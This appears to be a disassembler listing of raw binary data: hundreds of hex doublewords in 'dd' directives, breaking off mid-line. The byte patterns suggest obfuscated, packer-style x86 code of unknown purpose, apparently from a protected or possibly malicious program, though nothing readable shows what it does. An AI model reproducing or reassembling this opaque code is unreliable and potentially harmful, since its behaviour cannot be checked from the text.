0CF73A7B7h, 892D06AFh, 49DF13CAh dd 0BE89A93h, 52000000h, 5D5C7659h, 0F4FE446Ah, 0BE83F8Eh dd 0EB000000h, 86416DBFh, 3399EE8Dh, 8501CE80h, 60B1599h dd 0B52B585Bh, 60B3309h, 5B53C081h, 95230000h, 60B2895h dd 68h, 55958900h, 59060B1Bh, 0BE0134FFh, 46AB7D40h, 0FE9575Fh dd 83000000h, 93401FDAh, 0D1561823h, 44AC80E1h, 815EA5C8h dd 66EA2DF7h, 0B5F28026h, 75D5C781h, 9D2940F4h, 60B05F1h dd 0A73FC781h, 89F9522Eh, 0F78B083Ch, 8380E680h, 0E96004E9h dd 12h, 0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh, 2B4E014Ch, 890F7EE8h dd 5, 3CE431BEh, 0F9816105h, 0FFFFA574h, 0FF8A850Fh, 0FE9FFFFh dd 0E3000000h, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h, 0C08B0112h dd 187h dup(0) dd 840F0000h, 1, 18E0FF8h, 0F5000000h, 6A9DF5h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0C16C64C3h, 56D3BA0h, 18A0F60h, 0F5000000h, 61C88B66h dd 78A0F61h, 0F000000h, 18Ah, 6A5DFC00h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 7714C355h dd 0F0F84D8h, 1982h, 14E900h, 241E0000h, 0C364B19Eh, 8937735h dd 2708E0E0h, 0A1CF058Dh, 4401DCADh, 6A0824h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D0E77FC3h dd 0A130B393h, 8E28060h, 880F5861h, 1, 6AC39DFCh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 58A5C357h, 6078C253h, 705E9ABBh, 0E8606119h, 0Fh, 0BD49E1D8h dd 0C2FFB29Ah, 33EEA76Ch, 669E33EFh, 58F39CBEh, 58C0Fh dd 81660000h, 6142ACC0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0D1C35343h, 0F9AF9E9Ah, 0CE9C08Bh, 83000000h dd 0B3DDE4D1h, 66EE305Ah, 0E9149E11h, 0Dh, 2C140B66h, 0BE5BBFA9h dd 0CAFDF6EAh, 18D0F0Fh, 0F9000000h, 0AE9h, 0E34D1500h dd 4CE3CA79h, 80BEB602h, 66FC9AEBh, 50A8DF81h, 66CFBF0Fh dd 6E8FC881h, 0BE9h, 703CEF00h, 51861D3Bh, 0A4FDC047h dd 66FB8B66h, 12E8C28Bh, 7C000000h, 6CCF1AB1h, 0CADA6482h dd 0FE480086h, 526D3610h, 0B3BE664Eh, 3CBB5960h, 0F503B40h dd 6652CFB7h, 5BA17FBFh, 0FCFDC580h, 10E9h, 539C9300h dd 0E9724526h, 0F619BDEEh, 1CE73B22h, 0E9D38B34h, 13h dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 87889760h, 66E537A6h dd 0E9FCD78Bh, 0Eh, 0B357B0D7h, 0AD442F54h, 0CCF1EF81h dd 0BF0F4B9Ah, 0E78166F8h, 0E58AFDC7h, 18810Fh, 8F0F0000h dd 12h, 0DE9h, 0C5801000h, 1F8FD21Eh, 333FEFEFh, 8B66F16Eh dd 811CB1C2h, 0CDA5F4F0h, 8D0FF57Eh, 5, 59EB8166h, 80C68BA4h dd 0CB8088F0h, 0CB8B66BDh, 0CE9h, 2BB12F00h, 9C8D9C55h dd 0BB7F7805h, 2CD78193h, 0E929327Ch, 11h, 3E6C0B1Eh, 3E7C8A6h dd 21A6D9C0h, 4731F214h, 0B9F780E0h, 94CF8160h, 8B2BEA56h dd 0DE961C8h, 85000000h, 2CBCAADDh, 0A173C171h, 0A09DDAA9h dd 3810Fh, 0C5800000h, 13E580B8h, 5880F60h, 0B9000000h dd 21345A43h, 70BF6661h, 0AE91Eh, 32320000h, 60183D19h dd 78CACCC1h, 0C25EDB81h, 12E92442h, 0B4000000h, 15C1A0Ch dd 0F33FAFFEh, 6881BC95h, 7D3A2395h, 9E954h, 0EADA0000h dd 443A784Ah, 0F8FF04Eh, 383h, 0DBB70F00h, 27B966FCh, 830F602Ah dd 0Ch, 6E8h, 0AD306F00h, 5B566BF5h, 0B8C0Fh, 5E80000h dd 0A1000000h, 87602E08h, 0F576159h, 28Bh, 595A5100h, 6E9h dd 7BEC6C00h, 80448AE1h, 0B70F0EE9h, 76DA81FEh, 0F765D3Dh dd 0E780C2B7h, 0B70F6089h, 9E881D6h, 61662568h, 81665851h dd 0B34BBDE6h, 0CDB96612h, 0F0BA6660h, 0FE88AB8h, 586h dd 1988B900h, 5956669Ch, 0C332E381h, 8E918D9h, 0EA000000h dd 56AFDF09h, 805DECEEh, 14E960C6h, 0B2000000h, 208FAD52h dd 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch, 666A4213h, 8B7B1FBBh dd 0E08166CFh, 66608A13h, 0A2B4D281h, 386ED281h, 66616FDAh dd 0E97372B9h, 7, 0A385FEB7h, 66A0D618h, 0FF5C68Bh, 0E38AF0BFh dd 4850Fh, 0BA660000h, 0D78B2234h, 11E9h, 0DE353800h, 0BBA5CB8Fh dd 0B3539721h, 0B201C870h, 59BA5374h, 6049D121h, 11E8h dd 0A7ABDD00h, 54DF48E7h, 11E256BBh, 8955782h, 58FC0142h dd 8161D18Bh, 3C26C3C8h, 13E963h, 9E4D0000h, 1E160F8h dd 0DC0C7689h, 0BFB08FBDh, 7A0B3CD8h, 0B6F860ECh, 66F961FDh dd 0B378EE81h, 870F8DB0h, 3, 0FBDDF80h, 0F08BCFB7h, 14E9F9F9h dd 0C7000000h, 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh dd 0E95D6186h, 8, 6DBFEBA6h, 0EE8D8641h, 0FB8B66F8h, 0B5C3B70Fh dd 1FF3810Dh, 815EC6B9h, 8A533AE3h, 0B759572Eh, 3830FC3h dd 0F000000h, 0C880F7BFh, 0C5CE80CBh, 0E9CEB70Fh, 0Eh dd 53812969h, 57846075h, 99AAE817h, 5E814F7h, 0BC000000h dd 0AE10C602h, 78C08060h, 0CCB65F61h, 0E1CB8166h, 0A880F40h dd 0E9000000h, 5, 2F517E49h, 8F0FF5FBh, 0Ch, 68E0Fh, 800F0000h dd 0 dd 66C88B66h, 9597F681h, 53C752BEh, 28C0F18h, 8B000000h dd 14E9DFh, 0ECC70000h, 747BF104h, 92E5B83Ah, 1F5F971Dh dd 574F29FFh, 0B4BAA638h, 0E802A516h, 8, 0A83C07BCh, 1480B9E1h dd 0B70F5FF5h, 0CE8DFh, 0ED110000h, 0C35E3F64h, 7739C177h dd 0BE82B67h, 4A000000h, 0A077CCBCh, 9A6B5951h, 9E80590h dd 0C1000000h, 6303B8C8h, 14F31061h, 0E95F5F5Bh, 11h, 5D49C127h dd 6EFC33B5h, 0BE7F5584h, 7CD448A6h, 800F4Eh, 0BB000000h dd 4DA0911h, 66F7BF0Fh, 0E97AABB9h, 7, 0BCBB4ABFh, 6035C04Fh dd 0F3B70F60h, 3150B861h, 666133FDh, 8900F381h, 99FFEF81h dd 66523624h, 0BAFEF081h, 0D08B665Bh, 820Fh, 0F7810000h dd 287B29E5h, 14E9h, 0E428FB00h, 0A86946BAh, 0B29A3A4h dd 0C93DD0F1h, 7934F992h, 12E945h, 5BF50000h, 2F2A877Ch dd 19BFF7FAh, 6591CD40h, 2E28B5B0h, 5E9h, 0B4D58000h, 0BEB4AB84h dd 95C489BEh, 5160F96Ah, 59C28B66h, 9E54FDB9h, 8F0F6145h dd 11h, 9E8h, 0D4F48C00h, 0C4FB6B08h, 5952A41Bh, 0DF8B6659h dd 1A810Fh, 880F0000h, 14h, 0FE9h, 51BDF600h, 0AFAAEEECh dd 71D67B2Bh, 5372D7CBh, 0CF8BDE8Bh, 6E9h, 0C99C7100h dd 808C7FF3h, 0E28185EAh, 26372AE5h, 0E9CFBF0Fh, 11h, 0EA802F50h dd 0A473CE58h, 7D9B0D4Ch, 3CDCA8Bh, 0C4BA66A6h, 0DF8B667Ch dd 5238BF66h, 5E9h, 8951F000h, 0F98B2326h, 0F8D2BF0Fh dd 0F9F18B66h, 0E9D8BF0Fh, 13h, 1001368Ch, 0ACD05A53h dd 23256574h, 545175CAh, 0E87DBAC5h, 13h, 13068DAEh, 0DEFDA25Bh dd 0B36335C7h, 0DEF44E80h, 0F9431738h, 0B72B858h, 0DA8B0CDFh dd 0B8A361BFh, 0B3E0B922h, 0BF0F2805h, 0C0B70FD7h, 12E9C28Ah dd 15000000h, 0B018ADE5h, 86F9A44Eh, 399396F5h, 9065B101h dd 0EE926h, 2A190000h, 0D2D476C1h, 3D1515BDh, 9A45BE3Ch dd 0FF98B66h, 8Eh, 0C6816600h, 805624E0h, 8B5E2ACFh, 11E9D6h dd 7A5D0000h, 93718E4Eh, 3402EA42h, 0E5B0B5C8h, 0E8A21B1Ah dd 14h, 426C8F29h, 0CCC53EFDh, 0C13710Eh, 993A62Bh, 0A30067D6h dd 0AEEF8166h, 8E0F5EEFh, 3, 0F6EE280h, 386h, 0FBBF0F00h dd 0E8F08060h, 19880Fh, 14E90000h, 0CA000000h, 4D1B1BB9h dd 0DE1A6619h, 6D9C3546h, 4BF21650h, 61CE1E09h, 5E957h dd 70960000h, 5AF1D0F5h, 2DD68166h, 9E9CDh, 7A5E0000h dd 6259A6C1h, 0BB7DE0DBh, 51C2CF13h, 0BE9h, 9AB96B00h dd 3E4C1F76h, 0E54B0E06h, 0FA4CB80h, 582h, 0F7816600h dd 0B966D71Eh, 0BEFC8845h, 699D945Dh, 0E963D480h, 9, 0BEB596CFh dd 2A20AC9Ch, 0CE932h, 337C0000h, 0D5B97C95h, 0FF861363h dd 850FEA76h, 0 dd 1659F681h, 40B07A61h, 8A0F6160h, 5, 264CE3BEh, 1C6813Fh dd 0BE63548Dh, 3552B57Ch, 0D08BC68Bh, 7E9h, 0A92A000h dd 0A819D718h, 76D08166h, 0DE96053h, 4E000000h, 0EDA3087Ch dd 0E8D0168Eh, 0CEA99DADh, 9E5ACA81h, 8B617207h, 0F3B70FD8h dd 0F70B5F9h, 0CE9F1B7h, 0C8000000h, 0DE41550Eh, 8C545263h dd 66E72844h, 81B55CB8h, 0B26FDADFh, 0AF67BB31h, 0DF8B0A45h dd 39C18166h, 19830F19h, 0E8000000h, 0Dh, 0FF98F5Ch, 173B728Fh dd 5C15AA6Ch, 870F2Ah, 5E000000h, 66C7B70Fh, 8BDCE381h dd 11E89AB6h, 81000000h, 69950E08h, 8249BC1Dh, 0E1C8505Fh dd 3FB1DB59h, 48E38160h, 0E96B6E5Dh, 0Fh, 1300772Ch, 81BDA6ADh dd 23F73E9Fh, 61A7B85Ch, 0CE8B665Bh, 7E9C38Bh, 0B4000000h dd 0B19D05EBh, 0E9533929h, 0Dh, 1D35A147h, 5A6D0E90h, 0C927042Ah dd 8B665A04h, 0EE9F8h, 69690000h, 9B2838B9h, 7EA68CCEh dd 38BCB610h, 2880Fh, 0F78B0000h, 80D6B70Fh, 8166E1C0h dd 0F5842F3h, 0F56C2BFh, 8158DABFh, 8B36BCC3h, 0D68B6630h dd 12E8h, 0EEF6BD00h, 0DF88DF4Ch, 12969294h, 36DF1AA1h dd 0F9A5E262h, 0CE958h, 94B30000h, 7C96F406h, 740082B0h dd 9E99E69h, 8000000h, 5E7F353Bh, 0DED69E83h, 0F261F781h dd 32B615DEh, 79916CB9h, 0BF0F6039h, 0A8EB81CBh, 614F7C76h dd 13E9h, 0AE350800h, 1188B17Ah, 11BC0568h, 0B3E12214h dd 808BA33Eh, 0B5DB8166h, 5BF95060h, 80084EBBh, 80F28B64h dd 0B9FCF7h, 0F2D3453h, 8B66CABFh, 0B4C381CAh, 6620D4D0h dd 811260BFh, 8D4546E6h, 0DF81666Fh, 0BE99040h, 56000000h dd 0A28EE117h, 0B2F8B072h, 0BF0FEF85h, 0F6B70FC8h, 7D731BBh dd 0FBB70F7Dh, 4A69BE66h, 11E9h, 3AFCFF00h, 0CCA95BF0h dd 9DB51B2h, 8A0CC40Eh, 0DE92E81h, 2B000000h, 0BA805F72h dd 0CFBB5B6Ah, 386A9907h, 0DB66BE66h, 72C5B966h, 0FFC6160h dd 381h, 0F88B6600h, 6401C081h, 8B6666F7h, 0FF98BC2h, 284h dd 0FD38A00h, 8E8C7BFh, 0AA000000h, 1A7776A2h, 8B693555h dd 0F78B5FD9h, 66D08B66h, 5496F781h, 0EE9h, 0E8142700h dd 4FCE1C81h, 0B5419A22h, 512E388Fh, 0BAD1F381h, 815F7923h dd 4039B3E6h, 66F28B61h, 0BF0FD98Bh, 0C38B66FFh, 0D1F681F8h dd 0F6C7121h, 83B2D1BFh, 0C870F60h, 0E8000000h, 6, 0B063842Ch dd 66582723h, 42DAEE81h, 0FE961h, 0F2E00000h, 6AA08A25h dd 0C4E04C29h, 7C1BFC6Eh, 8E8C7h, 0FD00000h, 6605AAFCh dd 0B70FF83Eh, 0FFC58D8h, 0EDB8F8BFh, 6643F2C8h, 0A4ABDF81h dd 5DD98166h, 0FE6DB9DDh, 81661287h, 603F3DD0h, 8E9h, 4BEED00h dd 1759F5EBh, 0AE96Ah, 26930000h, 9D6BEA05h, 0F98C3707h dd 0D6BF0F61h, 4820F51h, 66000000h, 5F43C6B9h, 0D9B699B7h dd 356AB6BFh, 5BF5571Bh, 66F88B66h, 44CBEA81h, 0CE857h dd 26560000h, 0D0700B22h, 7DFDFBE2h, 8F0FA20Dh, 0 dd 14E95A5Ah, 0CE000000h, 0E4B3E738h, 15088E67h, 0A6B020B2h dd 0EE2F9E1Ah, 0F6507EBh, 384h, 0D9BF0F00h, 0BB51BA66h dd 13E8h, 8C159A00h, 13866F57h, 0D0EC93DBh, 0B6C6106Eh dd 0F5AF94DAh, 0F5A52B3h, 685h, 8A0F00h, 0E9000000h, 14h dd 1957E6BEh, 0A4E3E228h, 2ADD73Ch, 0BF4F810Dh, 26155461h dd 0DE8h, 6CFB9300h, 4D49D10Eh, 343BD9CFh, 5AF91443h, 0F759EA81h dd 81666B18h, 80E2F6EAh, 0FF5FDD8h, 28Eh, 0BAD68B00h, 7376CCDEh dd 3BEA8166h, 0D3816645h, 96BEA39Fh, 0F180653h, 1088h dd 0BE900h, 4B800000h, 937DF387h, 64DCC54Eh, 6167BB4Ch dd 0AB42962h, 6760E281h, 0AFBE5034h, 0E809751Eh, 5, 61E8F430h dd 0D38B662Fh, 10E95Bh, 256D0000h, 0A661A1BBh, 2EBE3779h dd 0B917BEFEh, 1CBBF6AEh, 664B82DCh, 0C18BFA8Bh, 0AE9h dd 76697C00h, 5559132Ch, 0F565972h, 0C87h, 7E900h, 164F0000h dd 0E874F1E7h, 2830FE1h, 0B1000000h, 66D38B23h, 0DC38E181h dd 809DE380h, 0BA6637F7h, 0F080EE0Eh, 12E801h, 1E900000h dd 5D7D4D37h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8B5ECC8Ah dd 0DE952F2h, 23000000h, 0BD0E609Fh, 667F4DF9h, 0C19CE950h dd 0C381665Bh, 0EBB2396Dh, 12E8h, 27678300h, 0E72C2AB2h dd 0B8A8BDB7h, 243FAE3h, 0F6E1DD3h, 283h, 5F5F5000h, 58A0Fh dd 80530000h, 0FC5A4DC8h, 11E8h, 0C94CA000h, 79C388C3h dd 82AD57EAh, 0B37F40DBh, 10E8EEFCh, 47000000h, 9E56DFFAh dd 2F527473h, 926EA2B2h, 0FE20198h, 5B5EF1BFh, 0F67DB80h dd 0BE8C8BFh, 0F8000000h, 0C929E138h, 0BE93EDC6h, 0E280A152h dd 0E9F5597Fh, 12h, 0ED84467Fh, 5DA15F59h, 0E7D4E15Dh dd 6B56EAFh, 0BBBE458Bh, 0E9439F84h, 5, 26100E9Dh, 2CD381B4h dd 664533E8h, 0E917ACB8h, 12h, 93487BF5h, 795246Bh, 6BA4707Fh dd 9447E507h, 5CBE039Ah, 0F5682B2Dh, 74E38166h, 60D6BFB6h dd 0BF66285Ah, 8160F973h, 0C95138C3h, 8D0F616Bh, 8, 52C88152h dd 5A09DDF2h, 0D751E5BAh, 0AE91Eh, 28220000h, 0AD0836C5h dd 358B96BDh, 5E9h, 0F657DD00h, 0BA6626A0h, 2BBB3D3Bh dd 8B3980ABh, 6BE181C1h, 5163176Ch, 0FBB6C281h, 0E95810C2h dd 5, 7F5B2EC5h, 6880F64h, 81000000h, 9AA92BC2h, 5800F36h dd 52000000h, 59DABF0Fh, 10E9E18Ah, 17000000h, 0FB93D83Ch dd 49D10E6Ch, 3BD9CF4Dh, 51144334h, 5E958F5h, 82000000h dd 0D274F3F0h, 0BE97AB0h, 1E000000h, 0CE13CB1Dh, 0F2871434h dd 0BF0FED52h, 59EE81C7h, 0F77DD97h, 887h, 810F5700h, 0 dd 7E958h, 8BCD0000h, 75AB5BFAh, 81CE8B48h, 82470F1h, 830FF90Bh dd 0Bh, 5870Fh, 0CAB90000h, 0E94759BBh, 13h, 0FA82B24Fh dd 161755CCh, 2BED2EBFh, 6F5EB301h, 0BFC3A787h, 6601474Bh dd 13E9h, 509EF500h, 4DA1EFF1h, 349003B7h, 0C49262C6h dd 43BC0F90h, 0FF56057h, 85h, 0BF596100h, 3D42EFEh, 3890F53h dd 0F000000h, 665BD6BFh, 0C18AF28Bh, 81665160h, 59E5BCE0h dd 0F61F38Bh, 68Ah, 6C08100h, 8175BB70h, 4A4208D8h, 0CE810h dd 51A00000h, 909A6B59h, 0D6BBD405h, 8B51ACB1h, 0E95F58F0h dd 13h, 8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 0FD5AAACh dd 0FE9FFB7h, 0E3000000h, 0D02DD7BCh, 0DCC3FD99h, 1C16A20Ah dd 0D78A2755h, 0D43087B9h, 30B9665Bh, 90D681BFh, 0F4CA5C0h dd 1386h, 0D870F00h, 0E9000000h, 8, 0EC9F3F2Bh, 9E38DF3Ch dd 8D0Fh, 81660000h, 815D44EFh, 1F9CFCCBh, 8E9F511h, 6E000000h dd 3A1929D1h, 0E9E94D6Bh, 0Ah, 682DBFABh, 0EC594811h, 0C78AA136h dd 0B50EC080h, 0AE866h, 0E3110000h, 0AFD8A8DDh, 0B9DCE8A9h dd 0C1DAEB81h, 0E95B0E64h, 10h, 2194847Fh, 631233Ah, 559498CFh dd 0D56CD88Fh, 6FDA8166h, 0ECC781D3h, 0B03907D9h, 66FA8BEAh dd 0DCC9F081h, 0BAB8CC80h, 5673960Ch, 7E960h, 65280000h dd 220B2451h, 61D4B1FEh, 8AFFDE80h, 0BAB157F1h, 0E981F55Eh dd 7483E9A8h, 0FF27BB66h, 12E8h, 73E77800h, 3B27168Fh dd 3C35668Ah, 87162FF6h, 0E8253DD4h, 6, 76D58A28h, 8C0F2B80h dd 0 aZs db '^Zé',0Bh,0 db 2 dup(0), 75h dd 38396885h, 7135EDA8h, 1BA6568h, 0F73B7EDh, 178Dh, 12E900h dd 5B770000h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh dd 0B67FB866h, 68B0Fh, 820F0000h, 0 dd 79BA6660h, 0F61F937h, 800FFABFh, 0Bh, 5870Fh, 0E0B80000h dd 66215C2Bh, 10E8D38Bh, 0FC000000h, 13D8BCD6h, 2B9BF3A5h dd 0E3DDF67h, 8162CFF0h, 0A2844ED6h, 0D48A5E7Ah, 0AFBE66FCh dd 14E953D2h, 5000000h, 1DFC1899h, 0DF284C51h, 7AAC6E74h dd 6967E5E7h, 5AAE33FFh, 0E9CA8B66h, 0Bh, 0CCDD5F65h, 0EC2B2286h dd 0BFB8FF28h, 4A6D47C9h, 13E9h, 0B700BB00h, 455CFEDCh dd 60EBD100h, 0A07A079Ah, 6653DC3Ah, 8159F952h, 0BC855CF1h dd 14E97Bh, 10900000h, 0A6C7708h, 49CBC3D2h, 0AE67C4F7h dd 0E8D98AD4h, 0DA8AD7ECh, 13E9FCh, 95DD0000h, 0BF06A1C6h dd 0B29091DEh, 51AC7EDh, 93AC5D16h, 61FC60EFh, 0C480FBB5h dd 14E914h, 4E4C0000h, 0BCAE1FC8h, 920DEDF0h, 910D92B5h dd 0D2F79725h, 0E8606A2Eh, 11h, 917DB994h, 33BBDFB5h, 6B6FB2AAh dd 0CA567320h, 13E82Ah, 607D0000h, 8E80F33Ch, 5F0F49D3h dd 1380CE47h, 7FA4742Dh, 0F5B5F37h, 0E961D7BFh, 0Fh, 0A51D68D9h dd 0F8A1401Dh, 0DB7C6F0Dh, 8192068Ah, 6B605F6h, 1830F64h dd 0FC000000h, 8AEABA57h, 815E137Fh, 7B0907E8h, 0CE97Eh dd 0A8140000h, 0A16E23A9h, 91F6961Eh, 0BA669DF8h, 41B6876Fh dd 38C0Fh, 8B660000h, 0B2E781F8h, 80157A53h, 0E9F54ACBh dd 0Ch, 5DC21660h, 0ED7C7A0h, 13D7F2CAh, 5CF08166h, 13E95305h dd 2A000000h, 1793820h, 0DF5B4EF1h, 34611F01h, 0D30F8DE1h dd 0F85E7FF8h, 0FB8B6057h, 586191B4h, 10E88166h, 1A850FC3h dd 60000000h, 0B0DCBA66h, 0EE8h, 0B1417E00h, 0E2D339A5h dd 0E2A3C76Ch, 58E93BDCh, 2AE68061h, 12E8h, 0EC8CDC00h dd 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5A6084DBh, 3C7ABA60h dd 0BB6637E7h, 0F618F71h, 0E860CABFh, 7, 0A9A9FEF3h, 605BAA12h dd 0F5615E61h, 14E956F5h, 45000000h, 237F3031h, 3285D7E4h dd 4F1D7A82h, 6B653A7Bh, 5810BAE6h, 0CE9h, 91B1D500h, 297AF661h dd 0C5BEBCFCh, 0CE94Ch, 0DF910000h, 0D4693A27h, 0B0DFC42Fh dd 8B6636EFh, 0F840FCEh, 0E8000000h, 7, 95B19161h, 8B94E502h dd 0B70F5BF1h, 0FEB70FD1h, 0F8FA8B66h, 0CE8h, 0BF770100h dd 0D64E3299h, 44E4724Eh, 0F605840h, 681h, 850F00h, 8A000000h dd 816661C7h, 0F3477C2h, 0AE9CEBFh, 0DA000000h, 57DB0771h dd 6066CF34h, 38D0F4Fh, 80000000h, 0EE959DCh, 0BF000000h dd 5FBA6FDBh, 6F1B2D58h, 6E4A787Ah, 9A8CBAAAh, 0B8665687h dd 10E99E17h, 0C0000000h, 698DE341h, 0FFC2D865h, 0C84DB852h dd 0B570A254h, 39B96666h, 77C08186h, 80737153h, 0E7800DC4h dd 6E86014h, 0B1000000h, 0E2D339A5h, 12E96Ch, 7070000h dd 647B8181h, 0A44FE0FDh, 0E397F1E8h, 0CF53730Bh, 0F38B665Eh dd 0C1BF0F61h, 880FF88Ah, 1Bh, 15800Fh, 0FE80000h, 7A000000h dd 0CF4EBD95h, 8CFD1850h, 8F8F63Fh, 0E95A282Fh, 0Ch, 0EC267866h dd 0A91BB755h, 5AAA0B8Ch, 0DF8BEAB7h, 0E8FA8B66h, 9, 0DEE5EC96h dd 3D8926BFh, 5BD1B188h, 0B2B86660h, 0F88B60A5h, 61616160h dd 60D7B70Fh, 66F98B66h, 61B5BEB9h, 38E0Fh, 0F7800000h dd 609DB5E8h, 8E0FF3B4h, 6, 2A6AE781h, 0F9610C3Ah, 26D28166h dd 7120BEF8h, 11E94779h, 33000000h, 2126E735h, 8C2FCC94h dd 38A95FD1h, 540A138h, 0CE9h, 0EBE56300h, 597542B4h, 0F04BBB97h dd 0FA8B66C2h, 9E9F9h, 6E3F0000h, 44CF6205h, 0F9A1C4Dh dd 0C8Ch, 68B0F00h, 81000000h, 5AE15FEAh, 0B966F542h, 0E860856Ah dd 5, 1319C043h, 5FC88B14h, 546DD0B9h, 8166613Dh, 0E93350C2h dd 5, 0F4819096h, 0FEDB40Bh, 0F181F2B7h, 660BC131h, 0EE9h dd 15B74F00h, 35FC7027h, 88D508Ah, 0F3BB9AAh, 880h, 28D0F00h dd 60000000h, 12E961h, 0D17C0000h, 7DA828AFh, 0F3C1F14Ah dd 44EEBEF7h, 181ECB32h, 92C88166h, 0F4BE66D0h, 0E8C88B31h dd 0Fh, 0DAE7D9B3h, 0F581F3EBh, 0BC7A3BB7h, 66D62A9Ch dd 0E95EC88Bh, 0Ah, 799C010Ah, 0C0999D9Dh, 9E9161Fh, 4F000000h dd 0EF801AA8h, 36E26D06h, 0BE8h, 33D1B800h, 31EB50D8h dd 0B3BC5FFEh, 0AE959h, 22C70000h, 0B38AD662h, 0C0A8E99h dd 44D280F5h, 6D921BFh, 6DA8126h, 0E929FC07h, 0Fh, 47214B6Ah dd 0F8F5A890h, 7804201h, 0E93A3F20h, 9, 0AF9D83B3h, 0E9DBF164h dd 0DBBF0FE5h, 53F88B66h, 14E8h, 64001200h, 505DB220h dd 0ED7281E6h, 1A233587h, 0EF6586E9h, 12E855h, 0C6D30000h dd 0F29BF47h, 2CE2133Fh, 0BE4AA8DFh, 0B88F354Bh, 0B65A5859h dd 0C1CAB841h, 0F607A42h, 486h, 0FEBF6600h, 0E78161FCh dd 3D50082Eh, 0B913BFF8h, 0BB6636C6h, 14E9260Ah, 0F6000000h dd 0AE0D31B8h, 0EF755002h, 0F9F6CE65h, 0C848EA90h, 0E90E37C9h dd 0Dh, 0A40F882Fh, 0C86599A8h, 8EFE27Ch, 13E9BCh, 9C200000h dd 8A86646Eh, 15CAC3C3h, 7324397Ch, 0D6AE591Ah, 0E7F0806Eh dd 7E8h, 0D1A18B00h, 0E6F0EF1Ah, 68B0Fh, 8B0F0000h, 0 dd 5850F58h, 0B9000000h, 3C968BA6h, 0B866C18Bh, 60561716h dd 0FF58C881h, 0CE8539Dh, 7C000000h, 6A85BF93h, 66DB989Ch dd 59C6A624h, 13E95E61h, 1F000000h, 2F24B5D4h, 0F8BF9014h dd 0F955B60Bh, 2B351FF5h, 80F815E9h, 0C68B8DD0h, 81C7B5F5h dd 4F596EF6h, 0D3B70F7Fh, 6635CE80h, 0B60FCAB8h, 0A0B3600Ch dd 14E961F9h, 86000000h, 2C3EB2F3h, 0E11EF29Bh, 0E45EA57h dd 5D065FC8h, 6015D25Ch, 81F28B66h, 66A321F7h, 0C380612Ah dd 80C28BFCh, 0BF6625F1h, 81661C42h, 0E9B587F0h, 14h, 5C6BCB35h dd 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0B860D992h, 0E9C68B66h dd 11h, 5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch, 0FCE8B19h dd 0BA66C9B7h, 11E90111h, 47000000h, 0B65BB715h, 7E651F65h dd 51887155h, 99D13EF1h, 0D638BF66h, 0AE9h, 0ED952A00h dd 8665F7A0h, 0B909BAE9h, 22C1C4EDh, 38F0F60h, 66000000h dd 6660D78Bh, 66D0C3B8h, 61811BBBh, 0CABF0F61h, 0B2F3BF0Fh dd 0DF81F5E5h, 19FAFBFh, 0F885C681h, 81665D6Bh, 0FEC41F6h dd 0CB8BF3B7h, 8880Fh, 81510000h, 30482BD3h, 0E7815A7Fh dd 4E27AE1Ah, 7E9h, 4A402000h, 56DBA8C6h, 36BB6660h, 0FE948h dd 39370000h, 14B4655Dh, 0B1220407h, 9DB7C7C0h, 0C28B617Bh dd 13E9h, 46B00000h, 0D441AB27h, 0C09C3287h, 0A35F4BB8h dd 55242BBAh, 0A9DF8166h, 0E181669Bh, 0C18B4EF6h, 0FE5ED281h dd 0D1807007h, 0BBFA8B46h, 79A491CBh, 12E860F9h, 80000000h dd 0C55A1688h, 688E87E0h, 4599C878h, 0FDF12EFBh, 0AAEA81ABh dd 5A24DF95h, 561DEBBFh, 0C2B66150h, 66D08B66h, 6660CF8Bh dd 62B3CB81h, 14E8h, 0E006C800h, 0FB8E78FEh, 93215FD9h dd 0AEC55032h, 62D77B8Ah, 8E879h, 35430000h, 4AF9E0F7h dd 5A5F6555h, 13E961h, 0E9F60000h, 0FD2A8D0Ah, 0CA4B8516h dd 84546A8Dh, 0D687F8CBh, 11E925h, 68FD0000h, 0A21A5201h dd 4E9BA886h, 7DE5E5DDh, 8B3F45E5h, 14E081F7h, 0E951A268h dd 5, 6961DAE5h, 0BE60FC61h, 0F80381Dh, 0EE8h, 79473000h dd 0F7E8FA66h, 0E2C83B9Dh, 0E899EA43h, 10h, 0D9893A47h dd 457AB6Dh, 82F49272h, 0E430309Ch, 0B6615F5Eh, 6FBA66FCh dd 0D08166C3h, 0BF0FA214h, 0FE8C9h, 6A240000h, 67D72605h dd 0B2C23DCBh, 5DD0D137h, 14E936h, 0BA220000h, 9BC6CF94h dd 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h, 665F3F12h, 0E52EEA81h dd 11E8h, 7DB99400h, 0BBDFB591h, 6FB2AA33h, 5673206Bh dd 0BF0F2ACAh, 0C8805AD8h, 6E92Ah, 7390000h, 0DFB3B0D3h dd 0F8F805B5h, 0F9D7B70Fh, 0D94CF781h, 0AE90196h, 56000000h dd 36D6A6F4h, 0A815DE1Bh, 0E9E38A40h, 0Ah, 9E64818h, 0F717BCA3h dd 0FE8B6052h, 3880Fh, 8B660000h, 31F680C7h, 0CACF8166h dd 0D0B70FABh, 0AE8h, 0CA02D800h, 8B1336DEh, 5134AC90h dd 81665B5Bh, 80B773F7h, 66F518EEh, 247FC781h, 0FD8B70Fh dd 8166CBBFh, 0E98D60F0h, 0Ah, 0BE464968h, 73687FAFh, 810FC69Eh dd 3, 80F7BF0Fh, 94B63AE5h, 8C0F4EB1h, 5, 947691B8h, 0CBBF0F3Ch dd 60EE8166h, 0FA8B660Dh, 28A0Fh, 7B10000h, 5E8h, 0E36A9200h dd 0F48A99ACh, 0E8526059h, 10h, 9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h dd 